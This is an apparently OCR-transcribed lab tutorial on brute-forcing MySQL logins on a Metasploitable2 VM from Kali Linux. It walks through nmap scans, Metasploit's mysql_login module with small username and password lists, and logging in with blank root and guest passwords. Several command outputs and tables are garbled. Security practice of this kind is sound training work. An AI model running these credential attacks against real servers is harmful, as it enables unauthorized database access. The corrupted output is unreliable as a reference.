How to exploit a sqlserver in metasploitable2 using kali linux

Smashing the credentials in MySQL database using bruteforce attack

1. Go to the mysql prompt in metasploitable by entering **sudo mysql** command.

```
nsfadmin@netasploitable: $ sudo nysql
Welcone to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 123
Server version: 5.0.51a-3ubuntu5 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
nysql> _
```

2. Using **Show databases**; command we can get all databases

3. Using the sql query language we can use **SELECT user FROM mysql.user**; command to see the users in the database.

Now using the Kali linux let's try to exploit the credentials of database in metasploitable2

4. In here first step is scanning the target. For that we need to get the IP address of the victim's machine. For that we can use **ifconfig** command

Here we found that the IP address as 192.168.232.138

5. Using **ping 192.168.232.138** command in Kali we can see that both are communicating with each other.

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kaliekali:~$ ping 192.168.232.138 (192.168.232.138) 56(84) bytes of data.
64 bytes from 192.168.232.138: icmp_seq=1 ttl=64 time=0.945 ms
64 bytes from 192.168.232.138: icmp_seq=2 ttl=64 time=0.562 ms
64 bytes from 192.168.232.138: icmp_seq=3 ttl=64 time=0.810 ms
64 bytes from 192.168.232.138: icmp_seq=5 ttl=64 time=0.681 ms
64 bytes from 192.168.232.138: icmp_seq=5 ttl=64 time=0.667 ms
64 bytes from 192.168.232.138: icmp_seq=5 ttl=64 time=0.697 ms
64 bytes from 192.168.232.138: icmp_seq=5 ttl=64 time=0.454 ms
64 bytes from 192.168.232.138: icmp_seq=7 ttl=64 time=0.454 ms
64 bytes from 192.168.232.138: icmp_seq=9 ttl=64 time=0.555 ms
64 bytes from 192.168.232.138: icmp_seq=10 ttl=64 time=0.555 ms
64 bytes from 192.168.232.138: icmp_seq=11 ttl=64 time=0.882 ms
64 bytes from 192.168.232.138: icmp_seq=12 ttl=64 time=0.844 ms
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62 bytes from 192.168.232.138: icmp_seq=17 ttl=64 time=0.674 ms
63 bytes from 192.168.232.138: i
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6. Next we have to determine whether the MYSQL database is running on the victim's machine by sudo nmap -sS -sV 192.168.232.138

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[sudo] password for kall:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 15:59 EDT
Nmap scan report for 192.168.232.138
Host is up (0.00097/s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open stp vsftpd 2.3.4
22/tcp open stp vsftpd 2.3.4
22/tcp open smp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open report open smb Assembly 2.2.8 ((Ubuntu) DAV/2)
123/tcp open nebios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open nebios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
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Here we can see the mysql open port is available with port number 3306.

If we know the port number of mysql. We can directly find whether mysql database is running on the victim's machine using **sudo nmap 192.168.232.138 -p 3306**

```
kaliakali:~$ sudo nmap 192.168.232.138 -p 3306
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 12:48 EDT
Nmap scan report for 192.168.232.138
Host is up (0.00085s latency).

PORT STATE SERVICE
3306/tcp open mysql
mac address: vo.vc.25:74:41:3B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
```

Here we see that mysql is running on the victim and that is an open port.

7. Next execute Metasploit framework by typing the **msfconsole** on the Kali terminal.

8. Search all the modules by typing search mysql

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msf5 > search mysql
Matching Modules
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auxiliary/admin/http/rails_devise_pass_reset
auxiliary/admin/mysql_mysql_enum
auxiliary/admin/mysql_vnysql_sql
auxiliary/admin/tikiwiki/tikidblib
auxiliary/gather/joomla_weblinks_sqli
auxiliary/scanner/mysql_mysql_authbypass_hashdump
auxiliary/scanner/mysql_mysql_le enum
auxiliary/scanner/mysql_mysql_login
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MYSQL File/Directory Enumerator
MYSQL Password Hashdump
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MYSQL Directory Write Test
Authentication Capture: MySQL
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MYSQL yaSSL CertDecoder::GetName Buffer Overflow
MySQL yaSSL SSL Hello Message Buffer Overflow
MANAgeEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injectio
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exploit/linux/mysql/mysql_yassl_getname
exploit/linux/mysql/mysql_yassl_hello
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exploit/multi/http/zpanel_information_disclosure_rce
exploit/multi/mysql_mysql_udf_payload
exploit/unix/webapp/kimai_sqli
exploit/unix/webapp/wp_google_document_embedder_exec
exploit/windows/mysql_mysql_ocument_embedder_exec
exploit/windows/mysql/mysql_sart_up
exploit/windows/mysql/mysql_yassl_hello
exploit/windows/mysql/scrutinizer_upload_exec
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Zpanel Remote Unauthenticated RCE
Oracle MySQL UDF Payload Execution
Kimai v0.9.2 'db_restore.php' SQL Injection
WordPress Plugin Google Document Embedder Arbitrary File Disclosure
Oracle MySQL for Microsoft Windows MOF Execution
Oracle MySQL for Microsoft Windows FILE Privilege Abuse
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Here we only consider about the auxiliary scanners.

9. To crack the credential, we have to load the auxiliary module.

```
msf5 > use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) >
```

10. To show the current setting

```
msf5 auxiliary(
Module options (auxiliary/scanner/mysql/mysql_login):
                                                                                  Current Setting Required Description
                                                                                                                                                                                        Try blank passwords for all users
How fast to bruteforce, from 0 to 5
Try each user/password couple stored in the current database
Add all passwords in the current database to the list
Add all users in the current database to the list
A specific password to authenticate with
File containing passwords, one per line
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
The target port (TCP)
Stop guessing when a credential works for a host
The number of concurrent threads (max one per host)
A specific username to authenticate as
File containing users and passwords separated by space, one pair per line
Try the username as the password for all users
File containing usernames, one per line
Whether to print output for all attempts
         BLANK_PASSWORDS
BRUTEFORCE_SPEED
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
PASSWORD
PASS_FILE
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VERBOSE
 msf5 auxiliary(
                                                                                                                                                             ) >
```

11. Create a list of common usernames.

```
msf5 auxiliary(scanner/mysql/mysql_login) > nano users.txt
[*] exec: nano users.txt
```

This is the users text file which I have created

```
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GNU mano 4.9.2 Users.txt

ger
mysql
root
administrator
guest
user123
demo
user1
admin
mysql123
```

12. Create a list of common passwords

```
msf5 auxiliary(scanner/mysql/mysql_login) > nano password.txt
[*] exec: nano password.txt
```

This the password file which I have created

```
File Actions Edit View Help

GNU nano 4.9.2

mysql
admin
mysql123
123
root
admin
user
user123
```

13. Set the created users.txt and password.txt file to read users and passwords

```
msf5 auxiliary(scannex/mysql/mysql_login) > set user_file users.txt
user_file ⇒ users.txt
msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file password.txt
pass_file ⇒ password.txt
```

14. Give permission to login with a blank password therefore set the option to true to check for the blank passwords.

```
msf5 auxiliary(scanner/mysql/mysql_login) > set blank_passwords true
blank_passwords ⇒ true
```

15. Execute all modules on the same target using set rhosts 192.168.232.138

```
msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.232.138
rhosts ⇒ 192.168.232.138
```

16. Finally run the module by entering exploit

```
msfs auxiliary( **smma*/sypal/sypal/sypal | psp. |
```

By using we can understand this module tried all the combinations that are provided by the users.txt and password.txt files and only the 'root' and 'guest' usernames are valid logins. And here they are using the blank passwords. That successful users are represented as above in red boxes.

By Using mysql -h 192.168.232.138 -u root we can acess to the root's database and mysql -h 192.168.232.138 -u guest we can access to the guest database.

```
kaliahal3:~ mysql -h 192.168.232.138 -u guest
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 105
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;

Database

information_schema dvwa metasploit mysql owasp10
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